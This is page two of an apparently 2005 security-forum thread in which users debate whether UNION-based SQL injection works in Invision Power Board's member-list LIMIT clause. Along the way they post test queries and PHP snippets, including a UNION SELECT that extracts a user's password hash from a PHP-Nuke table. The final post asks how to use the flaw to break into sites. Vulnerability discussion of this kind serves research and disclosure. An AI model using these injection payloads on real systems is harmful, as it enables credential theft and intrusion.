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www.waraxe.us Forum Index -> Sql injection -> Sql Injection in Invision Power Board Goto page Previous  1, 2
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Re: Sql Injection in Invision Power Board
PostPosted: Tue Apr 26, 2005 1:38 am Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




cXIb8O3 wrote:
waraxe wrote:

mySQL query error: SELECT m.name, m.id, m.posts, m.joined, m.mgroup, m.email,m.title, m.hide_email, m.location, m.aim_name, m.icq_number,
me.photo_location, me.photo_type, me.photo_dimensions
FROM ibf_members m
LEFT JOIN ibf_member_extra me ON me.id=m.id
LEFT JOIN ibf_groups g ON m.mgroup=g.g_id
WHERE m.id > 0 AND m.mgroup='1' AND g.g_hide_from_list <> 1
ORDER BY m.name asc
LIMIT f00bar,30

mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'f00bar,30' at line 8
mySQL error code:
Date: Tuesday 12th of April 2005 08:51:04 AM


in this query... we can't use UNION because is there ORDER BY. ; ] but after LIMIT you can use UNION


I doubt it. Show me the working example and i will believe in this.
Here is, what i can find from manual:

http://dev.mysql.com/doc/mysql/en/union.html

Code:

If you want to use an ORDER BY or LIMIT clause to sort or limit the entire UNION result, parenthesize the individual SELECT statements and place the ORDER BY or LIMIT after the last one. The following example uses both clauses:

(SELECT a FROM tbl_name WHERE a=10 AND B=1)
UNION
(SELECT a FROM tbl_name WHERE a=11 AND B=2)
ORDER BY a LIMIT 10;

This kind of ORDER BY cannot use column references that include a table name (that is, names in tbl_name.col_name format). Instead, provide a column alias in the first SELECT statement and refer to the alias in the ORDER BY, or else refer to the column in the ORDER BY using its column position. (An alias is preferable because use of column positions is deprecated.)

To apply ORDER BY or LIMIT to an individual SELECT, place the clause inside the parentheses that enclose the SELECT:

(SELECT a FROM tbl_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
UNION
(SELECT a FROM tbl_name WHERE a=11 AND B=2 ORDER BY a LIMIT 10);

ORDER BY for individual SELECT statements within parentheses only has an effect when combined with LIMIT. Otherwise, the ORDER BY is optimized away.


Seems, that there are differences in 4.0.x and 4.1.x mysql versions, but anyway, we need additional parentheses for syntax to be correct.
Once again - please show me the working example Smile
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PostPosted: Tue Apr 26, 2005 2:19 pm Reply with quote
cXIb8O3
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Posts: 26
Location: Poland<>Luxembourg




mysql=4.0.21

ok.. in phpnuke table:

SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1

LIMIT and UNION and works
etc.
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PostPosted: Tue Apr 26, 2005 5:35 pm Reply with quote
waraxe
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cXIb8O3 wrote:
mysql=4.0.21

ok.. in phpnuke table:

SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1

LIMIT and UNION and works
etc.


OK, i tested it with this code snippet:

Code:

//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------


And got:
Code:

--Resource id #142----


So it really works, if there is no "ORDER BY" in affected sql query.
Now let's do next test:

Code:

//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' ORDER BY user_id LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------


and we get

Code:

----Wrong usage of UNION and ORDER BY--


One more test:

Code:

//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' ORDER BY user_id LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' ORDER BY user_id LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------


and we get

Code:

----Wrong usage of UNION and ORDER BY--


Now, sql query in very first post was:

Code:

SELECT m.name, m.id, m.posts, m.joined, m.mgroup, m.email,m.title, m.hide_email, m.location, m.aim_name, m.icq_number,
                         me.photo_location, me.photo_type, me.photo_dimensions
                FROM ibf_members m
                  LEFT JOIN ibf_member_extra me ON me.id=m.id
                  LEFT JOIN ibf_groups g ON m.mgroup=g.g_id
                WHERE m.id > 0 AND m.mgroup='1'  AND g.g_hide_from_list <> 1
                ORDER BY m.name asc
                LIMIT f00bar,30


As we can see, there is "ORDER BY" right before sql injection point of insertion ...
But anyway, thanks for sharing info, it gave me fresh ideas Wink
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PostPosted: Tue Apr 26, 2005 5:59 pm Reply with quote
cXIb8O3
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Posts: 26
Location: Poland<>Luxembourg




mysql> SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1;
+----------------------------------+
| name |
+----------------------------------+
| blablabla |
+----------------------------------+
1 row in set (0.00 sec)

mysql>


or

check

<?
mysql_connect("localhost" , "user", "pas") or die("X");
mysql_select_db("phpnuke");
$ffff=mysql_query("SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1");
$eeee=mysql_fetch_array($ffff);
echo $eeee[0];
?>
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PostPosted: Tue Apr 26, 2005 6:07 pm Reply with quote
waraxe
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Look at my previous post please --> i was talking about sql queries that contain "ORDER BY" part. Your example is without "ORDER BY".
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PostPosted: Tue Apr 26, 2005 7:38 pm Reply with quote
cXIb8O3
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Posts: 26
Location: Poland<>Luxembourg




ok . relax Wink
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PostPosted: Tue Apr 26, 2005 7:44 pm Reply with quote
waraxe
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Posts: 2407
Location: Estonia, Tartu




No probs, take it easy Very Happy
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PostPosted: Tue Apr 26, 2005 11:19 pm Reply with quote
gulftech
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Posts: 9




This issue was reported to the developers a long time ago. Go here to see the details and the response sent from the lead developer.

Edit: Forgot to post the link. Been a long day setting up blasted Win2k3 servers Confused

http://www.gulftech.org/?node=research&article_id=00028-03022004
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PostPosted: Wed Apr 27, 2005 6:50 am Reply with quote
cXIb8O3
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Joined: Feb 17, 2005
Posts: 26
Location: Poland<>Luxembourg




gulftech wrote:
This issue was reported to the developers a long time ago. Go here to see the details and the response sent from the lead developer.

http://www.gulftech.org/?node=research&article_id=00028-03022004


yes. DCrab sometimes public fucked adv. ;] He don't check vulnerabilities and don't try contact with authors scripts.
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PostPosted: Fri Apr 29, 2005 12:41 am Reply with quote
gulftech
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Posts: 9




Well, I did like that one advisory that was the result of "auditing" an application coded in .asp and the suggested fix was to use htmlspecialchars() and addlsashes() Very Happy
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PostPosted: Tue May 03, 2005 3:53 am Reply with quote
devn00b
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Joined: Feb 20, 2005
Posts: 22




anyone figure out how if at all possible to use this to gain any access to an affected website?

Waraxe? Very Happy Cool
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